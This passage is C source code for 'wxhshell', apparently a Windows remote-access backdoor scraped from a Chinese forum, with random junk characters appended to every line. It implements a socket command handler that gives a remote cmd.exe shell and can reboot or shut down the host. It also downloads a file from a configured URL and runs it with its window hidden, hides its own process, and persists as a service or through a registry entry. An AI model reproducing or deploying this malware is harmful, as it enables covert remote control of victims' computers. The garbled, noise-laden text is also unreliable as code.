  else { _6I>+9#C  
SD I,M  
    switch(cmd[0]) { Bcm=G""  
  %#Q #N,fw  
  // 帮助 7eH@n <]Y2  
  case '?': { /2'c>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;S =e%:zb  
    break; Y;PDZb K3  
  } 5oa]dco  
  // 安装 }'_:XKLj  
  case 'i': { -(  ER4#  
    if(Install()) h=mv9=x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <on)"{W13  
    else mZ&]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %J3lK]bv(  
    break; A3!2"}L  
    } $YR{f[+L w  
  // 卸载 %,E7vYjT%  
  case 'r': { fa.f(c  
    if(Uninstall()) L%4tw5*N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C$0 ITw  
    else .?7So3   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2X +7b M  
    break; <sF!]R&4  
    } lZ+/\s,]|  
  // 显示 wxhshell 所在路径 _4S7wOq5  
  case 'p': { B C&^]M  
    char svExeFile[MAX_PATH]; n%Rjt!9  
    strcpy(svExeFile,"\n\r"); <m9JXO:5  
      strcat(svExeFile,ExeFile); 2f /bEpi  
        send(wsh,svExeFile,strlen(svExeFile),0); 0MhxFoFO  
    break; (N9`WuI  
    } {)GQV`y  
  // 重启 6UtG-WHHt  
  case 'b': { l9,w>]s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f(W,m >.;  
    if(Boot(REBOOT)) &<OMGGQ[h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kjvs@~6t  
    else { 9Z}S]-u/  
    closesocket(wsh); 0c{Gr 0[>  
    ExitThread(0); p@`4 Qz  
    } Z'Zd[."s  
    break; !FO:^P  
    } KN|'|2/|  
  // 关机 9yp^zL  
  case 'd': { EzwF`3RjK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aw;{<?*  
    if(Boot(SHUTDOWN)) ZW`HDrP`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oym]&SrbS  
    else { >4Fd xa  
    closesocket(wsh); !WDn7j'A  
    ExitThread(0); 7E@$}&E  
    } +# A|Zp<  
    break; jh-kCF  
    } mRNHq3  
  // 获取shell "otr+.{`*  
  case 's': { FkLQBpp(x  
    CmdShell(wsh); O{O 9}]6  
    closesocket(wsh); sVNo\  
    ExitThread(0); $4& 8U~Zs  
    break; J#_\+G i  
  } &7JEb]1C  
  // 退出 ">rsA&hN-  
  case 'x': { "1E?3PFJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3" 8t)s  
    CloseIt(wsh); F5Cqv0H V  
    break; %YsRm%q  
    } GWVEIZ  
  // 离开 qsQ]M^@>  
  case 'q': { F\I5fNs@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #zh6=.,7  
    closesocket(wsh); |2tSUOZ  
    WSACleanup(); kvY} yw7  
    exit(1); :ga 9Db9P  
    break; ;g!xQvcR  
        } 8Fyc#Xo8  
  } |v,}%UN2  
  } $v2S;UB v*  
99=[>Ck)G  
  // 提示信息 \Or]5ogT'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6uv'r;U]  
} X:iG[iU*  
  } C8O7i[uc  
"@F*$JGT y  
  return; OD>u$tI9  
} BIwgl@t!>  
lU >)n  
// shell模块句柄 B`t)rBy  
int CmdShell(SOCKET sock) 0EF,uRb  
{ S8rW'}XJ=H  
STARTUPINFO si; `K@5_db\  
ZeroMemory(&si,sizeof(si)); >c~9wv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~{kA) :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uj y6vgU;  
PROCESS_INFORMATION ProcessInfo; F=P+;%.  
char cmdline[]="cmd"; Mr@<ZTw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ej9/_0lt  
  return 0; W\ZV0T;<]  
} fwz5{>ON]  
D"1vw<Ak  
// 自身启动模式 j X^&4f  
int StartFromService(void) 1D#T+t`[  
{ LL6ON }  
typedef struct )4VL m  
{ @8}-0c  
  DWORD ExitStatus; yAZ.L/jyr  
  DWORD PebBaseAddress; 8tG/VE[  
  DWORD AffinityMask; W_Ws3L1;N  
  DWORD BasePriority; htNL2N  
  ULONG UniqueProcessId; @p?b"?QaB  
  ULONG InheritedFromUniqueProcessId; 3(XHF3q  
}   PROCESS_BASIC_INFORMATION; Q7OnhGA  
S:"z<O  
PROCNTQSIP NtQueryInformationProcess; Vb"T],N1m  
N P0Hgd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >*ha#PE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wjw<@A9  
l=<F1Lz  
  HANDLE             hProcess; R  oF  
  PROCESS_BASIC_INFORMATION pbi; 8=u+BDG  
/I`!i K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;NN(CKZ9A  
  if(NULL == hInst ) return 0; 2*3B~"  
>V ]*mS %K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); } (O D<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3HDnOl8t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fTi{oY,zTg  
OGD8QD  
  if (!NtQueryInformationProcess) return 0; Oujlm|  
f"OA Zji  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hIg, 0B  
  if(!hProcess) return 0; .P0Qs&i  
#E~WVTO w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v;NZ"1=_  
bl+@}+A  
  CloseHandle(hProcess); LbmB([p  
wb}N-8x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6vp8LNSW  
if(hProcess==NULL) return 0; WP#_qqO  
""U?#<}GD  
HMODULE hMod; MSm`4lw  
char procName[255]; HK,G8:T  
unsigned long cbNeeded; ]R3pBC"Jv  
v1tN DyM6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6{,K7FL  
JCU3\39}  
  CloseHandle(hProcess); OKLggim{  
j@_) F^12  
if(strstr(procName,"services")) return 1; // 以服务启动 JWm^RQ  
E]U3O>hf  
  return 0; // 注册表启动 +Hm+ #o  
} cM7k){  
1RUbY>K#U  
// 主模块 >stVsFdV)  
int StartWxhshell(LPSTR lpCmdLine) p'w"V6k('~  
{ U!-+v:SF  
  SOCKET wsl; "3>*i!i  
BOOL val=TRUE; ?H86Wbz  
  int port=0; E[htB><  
  struct sockaddr_in door; %?9r(&  
R4rm>zisVX  
  if(wscfg.ws_autoins) Install(); J#OE}xASoA  
"}~i7NBB  
port=atoi(lpCmdLine); Hr8$1I$=  
SpTORR8  
if(port<=0) port=wscfg.ws_port; XCi]()TZ_  
j*Wh;I+h  
  WSADATA data; '2q xcco  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -aeo7C  
l1|,Lr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gk]qE]hi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E( 4lu%  
  door.sin_family = AF_INET; ^*UfCoj9Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  W$VCST  
  door.sin_port = htons(port); GO GXM4I  
G]NtX4'4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >7Sl( UY-  
closesocket(wsl); 6+f>XL#w  
return 1; 36A.h,~  
} oTV8rG  
SAxa7B/U2  
  if(listen(wsl,2) == INVALID_SOCKET) { #* /W!UOu  
closesocket(wsl); V]PhXVJ  
return 1; R_*D7|v  
} j?KB8oY`TP  
  Wxhshell(wsl); $?JLCa  
  WSACleanup(); 'V9aB5O&  
E<G@LT  
return 0; a]=vq(N'r  
?`*-QG}  
} s2v#evI`+  
sq (063l  
// 以NT服务方式启动 en#g<on  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )PoI~km  
{ U.j\u>a  
DWORD   status = 0; ,m'#>d&zO  
  DWORD   specificError = 0xfffffff; C.e|VzQa  
3L%r_N*a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xgth|C}k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; po$ynp756  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4l!Yop0h  
  serviceStatus.dwWin32ExitCode     = 0; Y l3[~S  
  serviceStatus.dwServiceSpecificExitCode = 0; 'UG}E@G  
  serviceStatus.dwCheckPoint       = 0; n; '~"AG)  
  serviceStatus.dwWaitHint       = 0; 'GdlqbX(%  
l:Xf(TLa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <Ibr.L]  
  if (hServiceStatusHandle==0) return; ht)*Ync  
IEr`6|X  
status = GetLastError(); ,4T$  
  if (status!=NO_ERROR) LY cSMuJ  
{ 64?$TT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3 !w>"h0(  
    serviceStatus.dwCheckPoint       = 0; @`+$d=rO`  
    serviceStatus.dwWaitHint       = 0; gsq[ 9  
    serviceStatus.dwWin32ExitCode     = status; f(MHU   
    serviceStatus.dwServiceSpecificExitCode = specificError; LOG*K;v3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y!c7y]9__2  
    return; =v`&iL~m  
  } y^|3]G3  
j%y+W{Q[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l )V43  
  serviceStatus.dwCheckPoint       = 0; KXbYv62  
  serviceStatus.dwWaitHint       = 0; adr^6n6 v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w58 QX/XG  
} U)=Z&($T  
h)RM9813<  
// 处理NT服务事件,比如:启动、停止 H_f2:Za  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <WKz,jh  
{ j.v _  
switch(fdwControl) WuZ n|j'  
{ _ ,1kcDu  
case SERVICE_CONTROL_STOP: k<";t  
  serviceStatus.dwWin32ExitCode = 0; LmdV@gR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mb`}sTU).  
  serviceStatus.dwCheckPoint   = 0; w8#>xV^~  
  serviceStatus.dwWaitHint     = 0; 5$Q`P',*Ua  
  { kQ'xs%Fw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? /X6x1PN  
  } MC)W?  
  return; J0mCWtx&  
case SERVICE_CONTROL_PAUSE: dQ~"b=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Tw6Fg1o>  
  break; QN a3S*  
case SERVICE_CONTROL_CONTINUE: g UAPjR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qa`(,iN  
  break; A-!qO|E[-  
case SERVICE_CONTROL_INTERROGATE: R$m?&1K  
  break; /,%o<Ql9  
}; ~e~Mx=FT0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z :jF) N  
} ^M5uLm-_s  
1L qJ@v0  
// 标准应用程序主函数 rL/7wa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \~j(ui|  
{ ]_xGVwem  
0]0M>vx u  
// 获取操作系统版本 `ViNSr):J  
OsIsNt=GetOsVer(); :>ST)Y@]w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); < io8 b|A  
%= ;K>D  
  // 从命令行安装 :@A;!'zpL  
  if(strpbrk(lpCmdLine,"iI")) Install(); OWfj<#}t+  
`;2`H, G'  
  // 下载执行文件 Xn'>k[}<k  
if(wscfg.ws_downexe) { 19`0)pzZ*P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JN-8\ L  
  WinExec(wscfg.ws_filenam,SW_HIDE); ' *C)S  
} \eN/fTPm  
0DT2qM[,  
if(!OsIsNt) { ?S:_J!vX{  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q</HFpE  
HideProc(); +%$V?y (  
StartWxhshell(lpCmdLine); "jMnYEG  
} x)mC^  
else 9Bw5 t@  
  if(StartFromService()) 1/J*ki+?  
  // 以服务方式启动 <bppu>&  
  StartServiceCtrlDispatcher(DispatchTable); r:Cid*~m  
else \1_&?( pU  
  // 普通方式启动 [M>_(u6  
  StartWxhshell(lpCmdLine); [+7X&B  
[kkcV5I-  
return 0; n}kz&,  
}
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只看该作者 1 发表于: 2006-10-10
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